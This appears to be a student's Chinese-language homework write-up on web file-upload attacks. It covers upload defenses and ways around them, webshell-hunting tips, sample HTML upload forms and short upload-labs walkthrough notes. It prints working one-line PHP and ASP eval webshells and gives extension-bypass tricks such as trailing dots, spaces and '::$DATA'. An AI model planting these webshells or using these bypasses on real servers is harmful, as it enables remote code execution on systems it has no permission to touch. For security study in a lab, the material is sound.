1. 文件上传防御手段及绕过手段总结
文件上传防御手段:
文件类型检查 MIME 类型检查确保上传文件的MIME类型与其实际内容匹配,但这种方法可以被绕过。文件扩展名检查:只允许特定类型的文件上传,例如限制为 `.jpg`, `.png`, `.pdf` 等。然而,扩展名检查也可以被伪造。
文件内容扫描:检查文件的魔数(文件头部的特征信息),例如JPEG文件通常以`FF D8`开始。这比仅检查扩展名更安全,但仍可被绕过。使用病毒扫描工具扫描上传的文件,以检测是否含有恶意代码。
文件大小限制: 防止过大的文件被上传,以减少攻击面。
目录权限管理设置上传目录的权限为非执行权限,防止执行上传的脚本文件。将上传目录与Web根目录隔离,以防止直接访问上传的文件。
文件重命名:自动重命名上传文件,以避免上传文件的原始名称被利用进行攻击。
限制上传文件的路径:防止目录遍历,通过校验文件路径,防止目录遍历攻击。
使用应用层网关:利用WAF(Web Application Firewall)拦截和过滤恶意上传请求。
文件上传绕过手段
伪造文件类型:攻击者可能会将恶意文件重命名为合法扩展名,如将 `.php` 文件重命名为 `.jpg`。修改HTTP请求的MIME类型字段来绕过文件类型检查。
恶意文件编码:使用各种编码(如Base64编码)上传文件,然后在服务器上解码执行。
利用图像文件载荷:将恶意代码嵌入到图像文件的元数据中(如EXIF数据),绕过文件内容扫描。
使用后缀混淆双扩展名:使用双扩展名如 `file.php.jpg` 来绕过基于扩展名的检查。
绕过文件大小限制:将恶意文件分割成小片段上传,然后在服务器端重新组合。
PHP代码注入,上传PHP文件并修改文件权限:如果上传目录有执行权限,攻击者可能通过上传PHP文件并设置其权限为可执行,从而执行恶意脚本。
路径穿越:攻击者可能尝试使用 `../` 来将文件上传到非预期目录。
通过了解这些防御措施和绕过手段,你可以更好地保护Web应用免受文件上传攻击的威胁。
2. 文件上传常用一句话木马
php: <?php @eval($_POST['cmd']); ?>
asp: <%eval request ("pass")%>
3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
木马配置
冰蝎
将生成木马导入靶场根目录
新增传输协议
中国蚁剑
进行修改
哥斯拉
4. 文件上传无回显如何查找webshell地址
检查上传目录
首先,尝试找到文件上传的目标目录。如果你能确定文件上传到哪个目录,可以直接检查这个目录以寻找可疑文件。通过目录枚举,使用工具或手动检查可能的目录。或查看文件列表如果有目录列表功能,可以查看目录下的文件名。某些webshell可能会有显眼的名称或者日期特征。
监控文件系统
查看文件创建时间,找到最近创建或修改的文件,可能就是上传的webshell。使用命令行工具,在Linux服务器上,可以使用如`find`、`ls -lt`等命令来查找最近上传的文件。
审查日志文件
服务器日志文件可能包含有关文件上传的信息。如Apache的`access.log`或`error.log`,Nginx的`access.log`,它们可能记录了文件上传的请求和路径。如果有应用程序级别的日志,可能会记录文件上传的详细信息。
利用工具和脚本
使用一些工具或编写脚本来帮助你找到webshell。例如Web扫描工具:像Nikto、Burp Suite等安全扫描工具可以帮助识别潜在的webshell。或编写脚本扫描上传目录中的文件,识别出潜在的恶意文件。比如,可以检测常见的webshell特征,如PHP代码中的`eval`、`system`等函数。
特征识别
内容分析,检查文件内容中是否包含常见的webshell代码模式,某些webshell可能使用不常见的扩展名,或伪装成其他文件类型。
5. 文件上传表单的无参/有参情况下构造表单 -- 加分项
无参情况下
<!DOCTYPE html>
<html>
<head>
<title>File Upload Form</title>
</head>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="file">Choose a file to upload:</label>
<input type="file" id="file" name="file">
<input type="submit" value="Upload">
</form>
</body>
</html>
有参情况下
<!DOCTYPE html>
<html>
<head>
<title>File Upload Form with Parameters</title>
</head>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="file">Choose a file to upload:</label>
<input type="file" id="file" name="file">
<!-- Additional Parameters -->
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<label for="description">Description:</label>
<textarea id="description" name="description"></textarea>
<input type="submit" value="Upload">
</form>
</body>
</html>
6. upload-labs靶场通关第6-第10关
更改文件名
第七关
查看源代码后发现缺文件末尾点,在后缀添加空格
第八关
查看源码
发现结尾 . 检测,添加 .即可
第九关
查看源码
末尾添加"::$DATA"即可
第十关
查看源码
自动删除 . 和空格